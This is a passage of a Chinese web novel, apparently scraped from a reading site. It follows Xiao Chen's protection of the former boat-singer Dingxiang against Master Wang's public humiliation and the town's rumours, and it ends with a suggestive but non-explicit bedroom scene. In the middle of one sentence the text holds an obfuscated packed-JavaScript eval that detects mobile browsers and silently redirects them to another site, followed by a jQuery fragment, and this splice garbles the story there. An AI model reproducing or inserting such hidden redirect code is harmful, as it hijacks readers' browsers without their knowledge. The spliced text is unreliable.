只要能留下她,暂时的约束不算什么。他相信,日子久了,父亲总会看到丁香的好。 走出书房时,月光已经爬上墙头。肖晨望着跨院的方向,嘴角忍不住微微上扬。 至少,眼下是安稳的。 他轻轻推开跨院的门,见丁香屋里的灯还亮着,便走了过去,敲了敲门:“睡了吗?” “还没。”屋里传来她的声音。 肖晨推开门,见她正坐在灯下绣东西,便笑着说:“我爹松口了,你可以安心住下了。” 丁香手里的针线顿了顿,抬起头,眼里满是惊讶:“真的?” “嗯。”肖晨点头,“只是暂时要委屈你,别出这跨院,等过些日子,我再跟他好好说。” 丁香看着他眼里的笑意,心里涌上一股暖流,轻轻“嗯”了一声,低下头继续绣着。 灯光下,她的侧脸柔和,指尖的针线在布上穿梭,绣出一朵含苞待放的兰草。 肖晨站在门口,看着这一幕,忽然觉得,之前的牺牲和争执,都值了。 至少,这盏灯,能为她多亮些日子。 至少,她不用再在黑暗里独自发抖了。 肖晨见丁香放下了针线,便在桌边坐下,看着她轻声道:“你以前在花船弹的曲子,我一直记着。那琴声里有劲儿,像野草在风里长,很特别。” 丁香的手指动了动,像是想起了什么,眼底泛起一丝暖意,又很快淡下去:“都是些讨生活的调子,登不得大雅之堂。” “怎么会。”肖晨笑了笑,“我很喜欢。你要是愿意,以后在这院里,也可以弹弹。”他指了指墙角那架闲置的旧琴,“那是傲雪以前学琴用的,你不嫌弃的话,尽管用。” 丁香顺着他的目光看去,那琴蒙着层薄尘,却看得出是架好琴。她摇了摇头:“公子好意我心领了,只是……” “只是怕约束?”肖晨接过话,语气温和,“我让你住在这里,不是把你关在这里。你想弹琴就弹,想画画就画,不用看任何人脸色。”他顿了顿,认真地看着她,“这跨院虽小,却是你的地方,你不用约束自己。” 丁香看着他真诚的眼睛,心里那点紧绷的弦忽然松了。这些日子,她总觉得自己是寄人篱下的累赘,连呼吸都小心翼翼,却没想过,会有人劝她“不用约束”。 她沉默片刻,轻轻点了点头:“若是公子不嫌弃,改日……我弹一曲给你听。” “好啊。”肖晨眼里亮了亮,“我等着。” 他没再多留,起身道:“夜深了,你早些歇着吧。” 走出房门时,他听见身后传来轻轻擦拭琴弦的声音,脚步顿了顿,嘴角扬起一抹浅笑。 或许,让她重新拿起琴,比什么都重要。 有些伤痛,需要时间抚平;有些自由,需要用一点点的“自在”去唤醒。 而跨院里,丁香坐在琴前,指尖轻轻拂过琴弦,冰凉的触感让她微微一颤。 多久没这样碰过琴了?在王府的日子,琴是催命符;在庄子的日子,琴是不敢触碰的念想。 她深吸一口气,指尖落下,第一个音符响起,清越如流水。 月光透过窗棂,落在她身上,落在琴弦上,像一层温柔的纱。 琴声里,没有了花船的谄媚,没有了王府的压抑,只有一丝淡淡的、重新生根的希望。 或许,真的可以试着,在这里安心住下去。 试着,重新做回自己。 肖晨回到房间时,李傲雪正坐在妆台前卸妆,见他进来,便起身接过他的外袍,指尖不经意触到他微凉的袖口,轻声问:“少爷,父亲那边可消气了?” “嗯,安抚好了。”肖晨松了松领口,语气里带着一丝疲惫,却也有几分释然,“他虽没明说接纳,但也允了丁香留在跨院。” 李傲雪将外袍挂好,走到他身后为他揉着肩,声音温软:“这就好,凡事总有个过程。”她顿了顿,又道,“丁香姑娘一个人在跨院想必孤单,我和玉溪白天得空,就过去陪她说说话吧?女人家在一起,总能聊些贴心话,或许能让她松快些。” 肖晨回头看她,眼里满是感激:“多谢你。”他知道李傲雪心思细腻,有她照拂,丁香定能少些拘谨。 “跟我还客气什么。”李傲雪笑了笑,眼底没有半分妒意,“她也是个苦命人,能帮衬一把是应该的。再说,看她绣活不错,我正好跟她讨教讨教,也算有个伴儿。” 肖晨握住她的手,指尖传来熟悉的暖意:“委屈你了。” “不委屈。”李傲雪摇摇头,语气坦然,“你做的是对的事,我哪能拖你后腿。只是……王老爷那边的交易,你真要去他府里做事?” 提到这个,肖晨眼里闪过一丝沉郁,却还是点了点头:“答应了的事,总要做到。不过你放心,只是些抄抄写写的活计,我心里有数。” 李傲雪叹了口气:“那你自己当心,王老爷心思深沉,别被他算计了去。” “我知道。”肖晨反手握住她的手,“等这三年过去,一切就都好了。” 第二天一早,李傲雪果然带着玉溪去了跨院。丁香正坐在廊下看晨露,见她们进来,连忙起身行礼,眼里带着几分局促。 “丁香姑娘别多礼。”李傲雪笑着拉住她的手,“我带了些新做的点心,还有玉溪弄的胭脂水粉,你瞧瞧合不合心意。” 玉溪也笑着把一个小匣子递过去:“这胭脂是用桃花做的,颜色浅,日常用正好,姑娘试试?” 丁香看着她们递过来的东西,又看了看两人和善的笑脸,心里的拘谨渐渐散了,轻声道:“多谢少夫人,多谢玉溪姑娘。” “叫我傲雪就好。”李傲雪拉着她坐下,“我听肖晨说你会弹琴?正好我这里有本新得的琴谱,咱们一起看看?” 阳光透过树叶洒在三人身上,伴着偶尔响起的轻笑,跨院里的空气渐渐暖了起来。 丁香看着眼前这两个真心待她的女子,忽然觉得,这方寸之地,或许也能长出温暖的根。 而肖晨站在院门外,听着里面传来的笑语声,悄悄松了口气,转身往王家走去。 前路纵有风雨,可身边有理解的人,心里有牵挂的事,便也算有了支撑。 他抬头望了望天色,步子沉稳地往前迈去。 王老爷坐在书房里,看着窗外日头渐高,慢悠悠对管家道:“去,把城东的张老爷、李公子,还有城西的赵举人都请来,就说我这儿有新得的好茶,邀他们来品品。” 管家愣了愣:“老爷,今天不是肖公子要来做事吗?请这么多客人来,会不会……” “你懂什么。”王老爷斜睨他一眼,手指在桌上轻轻敲着,眼里闪着算计的光,“那女人我自始至终没碰过,你真当我让肖晨来抄账本、画画是图个乐子?” 他冷笑一声:“那小子年轻气盛,总觉得自己占了理,救了个‘清白女子’很得意。今天我就让他知道,有些脸面,一旦丢了,就再也捡不起来。” 管家这才恍然大悟,心里一凛:“老爷是想……当着众人的面,提丁香姑娘的事?” “不然请他们来做什么?”王老爷端起茶杯抿了一口,“我要让全城的世家都看看,肖家的公子,为了一个从花船里出来、被我王家买过的女人,甘愿来给我当差。还要让他们知道,那女人在我这儿待了那么久,肖晨却当个宝似的捧回去——你说,这事传出去,肖家的脸往哪儿搁?” 他放下茶杯,语气里带着狠戾:“我就是要让他在众人面前抬不起头,让他知道,跟我作对,就得付出代价。年轻人嘛,总要受点教训才知道天高地厚。” 管家心里发寒,嘴上却连忙应道:“老爷高明,这样一来,肖公子以后在城里怕是……” “怕是再也直不起腰了。”王老爷接过话,笑得得意,“他不是看重名声、看重道义吗?我就毁了他的名声,戳破他的道义——让他明白,在我眼里,他救回去的,不过是个别人嚼过的残渣。” 正说着,下人来报:“老爷,肖公子到了。” 王老爷眼里闪过一丝精光,对管家道:“让他先去书房等着,就说我在待客。另外,把请的客人都往书房附近引,让他们‘碰巧’听到些动静。” 管家应声而去,心里暗叹:肖公子这趟,怕是难了。 书房里,肖晨正坐在桌前等着,见王老爷迟迟不来,心里隐隐有些不安。刚拿起一本账册翻看,就听见外面传来一阵喧闹,像是来了不少人。 他正疑惑,王老爷推门进来,身后还跟着几个衣着光鲜的世家老爷和公子,脸上都带着看热闹的笑。 “肖公子来得早啊。”王老爷拍着他的肩,声音洪亮得故意让外面的人都听见,“正好,我给你介绍几位朋友——这位是张老爷,家里做玉器生意的;这位是李公子,文采出众……” 肖晨站起身,客气地拱手行礼,心里的不安却越来越浓。 王老爷拉着他往门口走,故意提高了声音:“说起来,肖公子最近可是做了件‘义举’啊,为了一个叫丁香的姑娘,甘愿来我这儿做事三年,真是让王某佩服。” 这话一出,周围的议论声瞬间停了,所有人的目光都投向肖晨,带着探究、嘲讽,还有几分看好戏的玩味。 “丁香?是不是以前在花船弹唱的那个?”有人故意问道。 “正是。”王老爷笑得越发得意,“肖公子真是情深义重,连这种‘经历丰富’的女子都当成宝,还特意赎回来养在府里,真是……难得啊。” “听说那女子被王老爷您买过?” “是啊,”王老爷故作惋惜地叹了口气,“可惜我没福气,那姑娘性子烈,我碰都没碰过,倒是肖公子有眼光,捡了个‘便宜’。” 周围响起一阵低低的哄笑,那些目光像针一样扎在肖晨身上。 他的脸瞬间涨得通红,拳头紧紧攥着,指甲几乎嵌进肉里。 原来,王老爷请这么多人来,就是为了当众羞辱他,用丁香的过去,把他钉在“不知廉耻”的柱子上。 他抬起头,直视着王老爷得意的嘴脸,声音冷得像冰:“王老爷,说话请注意分寸。” “分寸?”王老爷挑眉,“我说的难道不是实话?还是肖公子觉得,把这样的女人藏在府里,是件光彩的事?” 周围的笑声更大了。 肖晨死死咬着牙,胸口剧烈起伏。他知道,此刻越是愤怒,王老爷越是得意。 他深吸一口气,忽然笑了,声音不大,却清晰地传到每个人耳朵里:“丁香姑娘是我请回肖府的客人,她的过去如何,轮不到外人置喙。倒是王老爷,用一个女子的清白当笑料,宴请众人来围观,就不怕损了自己的名声?” 他挺直脊背,目光扫过那些窃笑的人:“诸位都是有头有脸的人物,难道觉得,拿一个弱女子的苦难取乐,是件体面的事?” 这话像一记耳光,打在众人脸上。那些笑出声的人,脸色顿时有些尴尬,纷纷收了声。 王老爷没想到他敢当众反驳,脸色沉了下来:“你……” “王老爷要是没别的事,我先去抄账本了。”肖晨打断他,对着众人微微拱手,转身走进了书房内侧的小间,关上了门。 门外的喧闹渐渐低了下去,王老爷看着紧闭的房门,气得脸色铁青。 他没料到,肖晨竟能忍下这口气,还反将了众人一军。 管家凑上来,低声道:“老爷,这……” “哼,”王老爷冷哼一声,“别得意得太早,日子还长着呢。” 他就不信,这样的羞辱多来几次,肖晨还能撑得住。 而小间里,肖晨靠在门板上,背抵着冰冷的木头,才觉得浑身的力气都被抽干了。 他闭上眼睛,耳边似乎还回荡着那些嘲讽的笑声。 但他不后悔。 为了丁香,为了心里那点道义,这点羞辱,他受得住。 只是,这三年,怕是不会太平了。 他拿起笔,蘸了墨,在账本上落下工整的字迹。 一笔一划,都像是在积攒着力量。 总有一天,他会让所有人知道,善良和道义,从来都不是笑话。 王老爷听着众人的议论,脸上的得意藏都藏不住,故意叹了口气:“哎,年轻人嘛,总容易被些虚情假意迷了眼。想我当初买她回来,原是瞧着她弹得一手好琴,没想到是个不识抬举的,肖公子偏当块宝,也是奇事。” “可不是嘛,”张老爷摇着扇子,语气里满是鄙夷,“一个从花船出来的,又被王老爷您买过,说好听点是‘烈女’,说难听点就是没人要的货,肖公子倒当成稀世珍宝,还赎回去养着,这要是传出去,肖家的脸面往哪儿搁?” 旁边的李公子年轻气盛,说话更不留情面:“我看他是读书读傻了!什么仁义道德,怕不是被那女人灌了迷魂汤?为了一个连名分都算不上的‘贱籍’女子,甘愿来给王老爷当差,还跟家里闹翻,这哪是读书人该做的事?简直丢尽了我们世家子弟的脸!” “依我看啊,”赵举人捻着胡须,故作高深,“这女子能进肖府,就说明肖公子本身也不怎么样。平日里看着斯斯文文,原来骨子里这般不分贵贱,怕是以后肖家的门风,都要被这女子带坏了。” 众人你一言我一语,句句都往肖晨和丁香身上扎,那些话像淬了毒的针,又尖又利。书房内侧的小间里,肖晨听得一清二楚,指尖的笔猛地一顿,墨滴在账本上晕开一大片,像块丑陋的疤。 他死死咬着牙,额头青筋突突直跳。他不怕自己被羞辱,却见不得他们这样糟践丁香——她明明是无辜的,凭什么要被这些人用最肮脏的话诋毁? 王老爷隔着门听着里面的动静,见肖晨没出来反驳,更是得意,扬声道:“诸位也别这么说,肖公子也是一片‘善心’嘛。只是这善心用错了地方,可惜,可惜啊。” 就在这时,小间的门“吱呀”一声开了。 肖晨站在门口,脸色平静得可怕,目光扫过在场的每一个人,声音不高,却清晰地传到每个人耳朵里:“诸位都是有头有脸的人物,却对着一个弱女子的过去嚼舌根,用最龌龊的心思揣度别人,这就是你们所谓的‘体面’?” 他一步步走出来,直视着张老爷:“张老爷家的玉器生意,当年靠倒卖贡品发家,这事要是传开,算不算体面?” 又看向李公子:“李公子去年强抢民女,逼得人家投河,最后靠银子压下去,这算不算读书人该做的事?” 最后目光落在赵举人身上:“赵举人寒窗苦读,却靠抄袭旁人文章得的功名,这又算不算体面?” 几句话下来,刚才还议论得热火朝天的几人,脸色瞬间变得煞白,张老爷的扇子掉在地上,李公子攥紧了拳头,赵举人更是羞愧地低下头。 这些都是他们各自的把柄,不知肖晨是何时查清的。 肖晨冷笑一声:“谁也别把自己摘得太干净。这世上的人,谁还没点不堪的过去?凭什么要用一个女子的苦难,来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993202|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彰显自己的‘高贵’?” 他转向王老爷:“王老爷请诸位来,无非是想看着我出丑。现在看完了,若是没事,我还要做事。” 说完,他转身走进小间,“砰”地一声关上了门,将外面的尴尬和难堪,全都关在了门外。 众人面面相觑,谁也说不出话来。刚才那些刻薄的话,此刻像巴掌一样,狠狠扇在自己脸上。 王老爷的脸色铁青,他没想到肖晨会来这么一手,不仅没羞辱到他,反而让自己成了笑话。 “散了吧!”他不耐烦地挥挥手,心里的怒火几乎要烧出来。 众人讪讪地告辞,走出王家大门时,再没人敢提“丁香”两个字,也没人再嘲笑肖晨“不知廉耻”。 有些话,一旦被戳破,就再也没了分量。 而小间里,肖晨重新拿起笔,手却微微有些发抖。 他知道,今日这番话,算是彻底把这些人得罪了。但他不后悔。 他就是要让这些人知道,丁香不是可以随意践踏的尘埃,她和他们一样,值得被尊重。 至于那些流言蜚语,随他们去吧。 只要能护着丁香安稳,这点代价,不算什么。 那些被肖晨当众戳破把柄的世家老爷和公子,回去后越想越窝火。张老爷摔了心爱的玉盏,李公子把房里的花瓶砸了个粉碎,赵举人更是闭门不出,连门生都不见——被人当众揭了抄袭的短,这比杀了他还难受。 “不能就这么算了!”张老爷咬着牙对心腹说,“一个毛头小子也敢骑到咱们头上?传出去,我老张的脸往哪儿搁?去,把他肖晨为了一个花船女子甘愿给王老爷当差的事,往大了传!就说他被那女人迷得神魂颠倒,连祖宗脸面都不要了,连肖老爷都被他气病了!” 李公子更是直接,让人在茶馆、酒楼这些人多眼杂的地方散布谣言,添油加醋地说丁香“水性杨花”,一边吊着王公子,一边勾着肖晨,把肖晨哄得团团转,连家业都不顾了。 赵举人则托了几个文友,在文人圈子里暗讽肖晨“德不配位”,说他“为淫邪所惑,枉读圣贤书”,连带着肖家几代人的名声都被污了几分。 不过几日,整个城里都传遍了——肖家大公子为了一个从花船赎身的女子,不仅和父亲反目,还甘愿给王老爷做牛做马,甚至为了护着那女子,当众顶撞长辈、得罪乡绅,简直是“色令智昏”的典范。 茶馆里,说书先生把这事编成了新段子,添了些“英雄救美反被美人迷”的戏码,听得人津津有味,看向肖府的眼神也多了几分鄙夷和玩味。 肖家的生意也受了影响,有些老主顾觉得肖晨“行事不端”,担心肖家风气不正,悄悄转了别家的生意。 管家急得团团转,跑去找肖晨:“少爷,外面都传疯了!说什么的都有,连咱们的茶叶订单都少了三成,再这么下去……” 肖晨正在抄账本,闻言只是淡淡抬了抬眼:“我知道。” “您知道?”管家急了,“那您倒是想想办法啊!再这么传下去,咱们肖家的名声就全毁了!” “毁不了。”肖晨放下笔,声音平静,“真金不怕火炼,肖家的名声不是几句谣言就能毁的。”他顿了顿,“至于订单,没关系,只要咱们的茶叶质量在,迟早会回来的。” 他心里清楚,这些人就是想逼他妥协,逼他把丁香赶出去,逼他低头认错。可他偏不。 “让他们传吧。”肖晨重新拿起笔,“嘴长在别人身上,咱们管不了,只能管好自己。” 管家看着他平静的侧脸,心里又急又气,却也没别的办法,只能叹着气退了出去。 而肖府的跨院里,丁香也听到了些风声。玉溪去厨房取点心时,不小心听到下人们的议论,回来偷偷告诉了她。 “姑娘,您别往心里去,那些人就是闲的,乱嚼舌根。”玉溪安慰道。 丁香却沉默了,脸色苍白得像纸。她走到窗边,望着院墙外的天空,眼里满是自责。 都是因为她。 如果不是她,肖晨不会被王老爷要挟,不会被当众羞辱,不会被全城的人指指点点,肖家的生意也不会受影响。 她留在这里,就是个祸害。 “玉溪,”她忽然开口,声音有些发颤,“帮我准备些干粮和水,我……我今晚就走。” “姑娘您要去哪儿?”玉溪吓了一跳,“外面那么乱,您一个人……” “总会有去处的。”丁香打断她,眼里带着决绝,“我不能再连累肖公子了。” 她不能让他为了自己,付出这么大的代价。 自由虽然可贵,可若要用别人的痛苦和牺牲来换,她宁愿不要。 夜深人静时,丁香换上一身便于行走的男装,把那支银哨和肖晨送的那盒颜料贴身藏好,悄悄推开了跨院的门。 月光下,她回头望了一眼那间亮着灯的书房——肖晨应该还在看书吧。 “对不起。”她对着空气,轻声说了一句,转身消失在夜色里。 有些债,太重,她还不起。 只能用这种方式,还他一个清净。 玉溪见丁香态度坚决,知道自己劝不住,急得直跺脚,转身就往肖晨的书房跑。推开门时,肖晨正对着账本出神,见她气喘吁吁,连忙问道:“怎么了?” “少爷,不好了!”玉溪急声道,“丁香姑娘……她要走!说不想连累您,已经收拾东西准备连夜离开了!” 肖晨手里的笔“啪”地掉在桌上,墨汁溅了一片。他猛地站起身,二话不说就往外冲,连外袍都没顾上穿。 “丁香!” 刚跑出肖府大门,就看到一个穿着男装的瘦小身影正往巷口走,步伐踉跄,像是带着满心的沉重。 那身影顿住了,缓缓转过身,月光落在她脸上,正是丁香。她脸上还带着未干的泪痕,看到肖晨,眼里闪过一丝慌乱,随即低下头:“公子。” 肖晨几步冲到她面前,胸口剧烈起伏,又气又急:“你为什么要走?!我不是说过,让你安心住下吗?” “我不能再连累你了。”丁香的声音发颤,抬起头看着他,眼里满是愧疚,“外面都在传,说我毁了你的名声,害了肖家的生意……这些都是因我而起,我留下来一天,你就多受一天委屈,我……” “谁说这是委屈?”肖晨打断她,语气带着一丝不易察觉的颤抖,“我做这些,不是为了让你走的!你以为你走了,那些谣言就会停吗?你以为这样我就能放下吗?” 他上前一步,几乎是盯着她的眼睛:“你走了,我这三年的承诺算什么?我为你顶撞父亲、对抗王老爷,又算什么?你以为我做这些,就是为了看你再次消失在我面前吗?” 丁香被他一连串的话问得说不出话,眼泪掉得更凶了:“可我……” “没有可是!”肖晨的声音软了下来,带着恳求,“丁香,这不是你的错。那些流言蜚语,我不在乎;肖家的生意,我会想办法挽回。我只问你,你走了,能去哪里?又能去哪里找到安稳?” 丁香愣住了。 是啊,她能去哪里?天下之大,却没有她的容身之处。离开肖府,她或许真的只能像那些人说的一样,落入更不堪的境地。 “跟我回去。”肖晨伸出手,语气坚定,“相信我,也相信你自己。你不是累赘,更不是祸害。只要你留下,我就有办法让一切好起来。” 他看着她眼里的犹豫和挣扎,声音放得更柔:“你走了,我怎么放下?我怎么能眼睁睁看着你再次陷入险境?丁香,别再走了,好不好?” 月光下,他的眼神真诚而执拗,像一束光,照亮了她心里所有的不安和退缩。 丁香看着他冻得发红的脸颊,看着他眼里毫不掩饰的担忧,忽然觉得,自己的离开,或许才是最残忍的事。 她咬着唇,眼泪再次汹涌而出,却重重地点了点头。 肖晨松了口气,伸手轻轻擦去她的眼泪,动作温柔得像对待易碎的珍宝:“走吧,跟我回家。” 他脱下自己的中衣,披在她肩上,带着她往回走。中衣上还带着他的体温,暖得让她鼻尖发酸。 巷子里,两人的影子被月光拉得很长,紧紧依偎在一起。 或许前路依旧有风雨,或许流言蜚语不会轻易散去。 但此刻,他们都明白了——有些牵绊,一旦生根,就再也放不下了。 与其仓皇逃离,不如并肩面对。 至少,身边有彼此。 42. 肖父的逼迫 作者没有收到大家的回复,决定每周六会更新一张 肖晨把丁香带回跨院,径直走进她的房间,点亮桌上的油灯,昏黄的光瞬间驱散了寒意。他转身去桌边倒了杯热茶,递到她手里:“喝点暖暖身体,夜里凉。” 丁香捧着温热的茶杯,指尖传来暖意,眼眶却又热了。她低着头,看着杯里晃动的茶沫,轻声道:“公子,从来……从来没有人对我这么看中过。” 在花船时,她是供人取乐的玩物;到了王府,她是任人摆布的物件。所有人看她,要么带着欲望,要么带着鄙夷,从没有人像肖晨这样,为她对抗流言,为她顶住压力,甚至在她决意离开时,疯了一样追出来。 “我看中你,不是因为同情,也不是因为一时兴起。”肖晨在她面前站定,目光认真得让她心跳漏了一拍,“是因为我看到了你的好——你的善良,你的坚韧,还有你骨子里那点不肯向命运低头的劲儿。” 他伸出手,轻轻将她揽进怀里。动作很轻,带着小心翼翼的珍视,却让丁香瞬间僵住了,浑身的血液仿佛都凝固了。 “在我心里,你是个好女子。”他的声音贴着她的发顶,带着令人安心的温度,“你不比任何人差,不用因为过去的经历看轻自己。那些经历不是你的错,更不是你该背负的枷锁。” 怀里的人微微颤抖起来,压抑的哭声透过衣襟传来,细碎而委屈,像积攒了太久的雨水,终于找到了宣泄的出口。 肖晨没有说话,只是轻轻拍着她的背,任由她的眼泪浸湿自己的衣襟。他知道,这一路她受了太多苦,太多委屈,需要一个肩膀靠靠,需要有人告诉她——你值得被好好对待。 不知过了多久,丁香的哭声渐渐停了,只是依旧埋在他怀里,不肯抬头。 “以后不要走了,好吗?”肖晨的声音很轻,却带着不容置疑的坚定,“留在这儿,等风头过去,我带你去江南。那里有你喜欢的流水和船,有自由的风,没有人会再提起你的过去。” 丁香在他怀里,用力点了点头,眼泪却又不争气地掉了下来。 这一次,不是因为难过,而是因为太久没有感受过的温暖和希望。 原来,真的会有人,穿过世俗的眼光,穿过她不堪的过去,看到她心里那点微弱的光。 原来,她也可以被人这样珍视着,护爱着。 窗外的月光透过窗棂,落在相拥的两人身上,温柔得像一层纱。 或许前路依旧有风雨,但此刻,这短暂的温暖,却足以支撑着她,勇敢地走下去。 而肖晨抱着怀里的人,心里忽然无比笃定——无论未来有多少艰难险阻,他都不会再让她独自面对了。 有些遇见,注定是为了救赎。 他救赎她的自由,她救赎他的麻木。 如此,便很好。 丁香抬起头,眼里还蒙着一层水汽,声音带着刚哭过的沙哑:“公子……你能陪我一会儿吗?” 她从未如此直白地依赖过谁,可此刻,被他抱过之后,心里那点空落落的恐慌忽然涌了上来,总觉得只要他一走,刚才那些温暖就会像梦一样消失。 肖晨看着她眼底的脆弱,心像被什么轻轻蛰了一下,柔声道:“好,我陪着你。” 他拉着她在床边坐下,没有再多说什么,只是安静地陪着。桌上的油灯跳了跳,将两人的影子投在墙上,挨得很近。 丁香慢慢喝着杯里的茶,温热的液体滑过喉咙,驱散了最后一丝寒意。她偷偷瞥了一眼身旁的肖晨,他正看着窗外的月亮,侧脸在灯光下显得格外柔和,没有了平日里的拘谨,也没有了面对王老爷时的紧绷。 “公子,”她忽然轻声开口,“你真的……不怕那些流言吗?” 肖晨转过头,笑了笑:“怕过,但现在不怕了。”他看着她的眼睛,“因为我知道,我做的是对的事。至于别人怎么说,那是他们的事,我管不了,也不想管。” 丁香低下头,指尖摩挲着温热的杯壁,心里渐渐安定下来。 是啊,有什么好怕的呢? 至少此刻,他在身边。 至少,她不用再独自面对黑暗。 两人就这样静静地坐着,偶尔有风吹过窗棂,带来远处的虫鸣。没有太多的话,却有一种说不出的安稳。 直到油灯里的油渐渐少了,肖晨才站起身:“夜深了,你早些歇着吧。我就在外间的书房,有事喊我一声就好。” 丁香点点头,看着他走到门口,忽然鼓起勇气说了句:“谢谢你,肖公子。” 肖晨回头看她,眼里带着笑意:“好好睡。” 他轻轻带上房门,在外间的书桌前坐下,没有点灯,只是借着月光看着窗外。 刚才抱她的时候,她的身体那么轻,那么瘦,像一片随时会被风吹走的叶子。他忽然很庆幸,自己追上了她。 有些事,一旦错过,可能就是一辈子。 而他,不想错过。 跨院的灯灭了,想来她是睡了。肖晨靠在椅背上,听着里屋传来均匀的呼吸声,嘴角忍不住微微上扬。 明天,又是新的一天。 无论有多少风雨,他都会陪着她,一起面对。 肖晨回到房间时,李傲雪正坐在床边等他,见他进来,连忙起身迎上去,伸手接过他微凉的手,轻轻呵着气:“外面冷,怎么不多穿件衣裳?” 她没提丁香,也没问巷子里的事,只是拉着他坐到床边,从身后轻轻抱住他,下巴抵在他的肩上,声音温软:“少爷,最近城里的流言,都是关于丁香姑娘的。我知道你心里不好受,可她一个女子,总不能一直躲在跨院里,你说……她以后怎么办?” 肖晨反手握住她的手,指腹摩挲着她微凉的指尖,沉默了片刻,然后转过身,认真地看着她的眼睛。李傲雪的眼里没有嫉妒,只有真切的担忧,这让他心里涌上一股暖流。 他抬手抚上她的脸颊,轻轻吻了吻她的额头,声音坚定:“以后,就让她留在府里吧。” 李傲雪愣了愣,随即明白了他的意思,眼里闪过一丝讶异,却很快化为温和的笑意:“也好,有我们在,总能护着她。” “嗯,”肖晨点点头,握紧了她的手,“我们一起照顾她,一辈子。” 他知道,这个决定或许会引来更多的议论,或许父亲那里还要费些功夫,但他心意已决。丁香经历了太多苦难,他想给她一个安稳的归宿,一个不用再担惊受怕的地方。 而李傲雪的理解,更让他觉得这份决定有了底气。 李傲雪靠在他肩上,轻声道:“其实我看丁香姑娘性子纯良,只是命苦了些。留在这里也好,平日里我们做个伴,学点针线活,弹弹琴,日子也能热闹些。” 肖晨心里一暖,低头吻了吻她的发顶:“谢谢你,傲雪。” “跟我说什么谢。”李傲雪抬起头,眼里带着笑意,“我们是夫妻,你的心思,我懂。” 窗外的月光透过窗纱洒进来,落在两人交握的手上,温柔得像一层薄霜。 流言或许还会继续,前路或许依旧有阻碍,但此刻,房间里的暖意,却足以抵御一切寒意。 有些承诺,不必说尽,彼此懂得,便已足够。 而跨院的房间里,丁香似乎感应到了什么,原本紧绷的睡颜,渐渐舒展开来,嘴角甚至带着一丝浅浅的笑意。 或许,她也在梦里,看到了安稳的未来。 李傲雪为肖晨解着衣襟的带子,指尖不经意触到他温热的肌肤,脸颊微微发烫。烛火在她眼里跳动,映得那双素来温婉的眸子添了几分缱绻。 “少爷,”她轻声唤道,声音里带着一丝不易察觉的羞怯。 肖晨低头看她,见她眼波流转,与往日的端庄不同,便温声问:“怎么了?” 李傲雪没说话,只是踮起脚尖,轻轻吻上他的唇。那吻很轻,像羽毛拂过,却带着滚烫的温度。她微微退开些许,睫毛轻颤,声音细若蚊吟:“我……我想……” 余下的话没说完,肖晨已明白了她的意思。连日来的紧绷与压抑,在此刻化为汹涌的情意。他扣住她的后颈,加深了这个吻。 不同于方才的浅尝辄止,这个吻带着隐忍许久的渴望,温柔里裹着不容抗拒的凶狠。他将她紧紧拥在怀里,仿佛要将她揉进骨血里,唇齿间的纠缠带着失而复得的珍重,又有着不容逃离的占有。 李傲雪被他吻得喘不过气,双腿发软,只能攀着他的肩才能站稳。他的吻从唇上滑落,沿着脖颈往下,滚烫的呼吸拂过肌肤,激起一阵战栗。她轻声嘤咛,带着几分求饶,却只换来他更紧的拥抱。 烛火摇曳,将两人的影子投在帐幔上,缠绵交错。他的动作时而温柔如春水,细细描摹着她的轮廓,带着珍视与疼惜;时而又凶狠如烈火,仿佛要将连日来的委屈与担忧,都化作此刻的滚烫。 李傲雪被他折腾得浑身发软,眼角沁出湿意,连求饶的声音都带着哭腔,实在吃不消这忽柔忽烈的攻势。可心底深处,却有着被珍视的暖意——他的隐忍,他的挣扎,他的所有情绪,都在此刻毫无保留地袒露给她。 不知过了多久,烛火渐暗,帐幔落下,将一室的旖旎与温情,都藏进了沉沉的夜色里。 帐内烛火昏昏,李傲雪软在肖晨怀里,发丝凌乱地贴在汗湿的额角,脸颊泛着潮红,连说话都带着几分慵懒的喑哑:“少爷……你太热情了,看你把我弄的……” 她指尖轻轻点了点他的胸口,带着嗔怪,眼底却漾着水光,藏着化不开的柔情。方才那番情动,他温柔时能将人溺在蜜里,凶狠时又让她招架不住,此刻浑身酸软,连抬胳膊的力气都快没了。 肖晨收紧手臂,将她更紧地拥在怀里,下巴抵着她的发顶,呼吸尚未平复,带着灼热的温度。他低头吻了吻她泛红的耳垂,声音低沉沙哑,带着几分戏谑,又藏着浓得化不开的情意:“谁让你那么勾我。” 方才她踮脚吻他时的羞怯,眼波流转时的缱绻,还有那句没说完的“我想”,像羽毛搔在心尖上,勾得他所有的克制都溃不成军。连日来积压的压力、担忧,在此刻都化作了汹涌的爱意,只想将她牢牢锁在怀里,感受这份真实的温暖。 李傲雪被他说得脸颊更烫,往他怀里缩了缩,嗔道:“明明是你自己……” 后面的话被他的吻堵在了喉咙里。这个吻不再像方才那般汹涌,带着事后的温存,轻轻辗转,像春风拂过湖面,漾起圈圈涟漪。 “累了吧?”肖晨松开她,指尖拂过她汗湿的鬓角,语气里满是疼惜。 李傲雪点点头,眼皮沉重得快要合上,却还是强撑着说:“明日……还要去看丁香姑娘呢……” “嗯,让她多睡会儿,咱们晚点去。”肖晨替她掖好被角,声音温柔得能滴出水来,“睡吧,我在。” 李傲雪“嗯”了一声,往他怀里靠得更近了些,鼻尖萦绕着他身上清冽的皂角香,心里安稳得不像话。很快,便抵不住倦意,沉沉睡了过去。 肖晨睁着眼睛,看着怀里人恬静的睡颜,手指轻轻描摹着她的眉眼。连日来的紧绷,在此刻终于彻底松弛下来。 窗外的月光透过窗隙洒进来,落在两人交缠的手上,温柔而绵长。 或许前路依旧有风雨,但只要身边有她,有想要守护的人,便有了披荆斩棘的勇气。 他低头,在她额头印下一个轻柔的吻,随即也闭上了眼睛。 长夜漫漫,有彼此相拥,便是最好的时光。 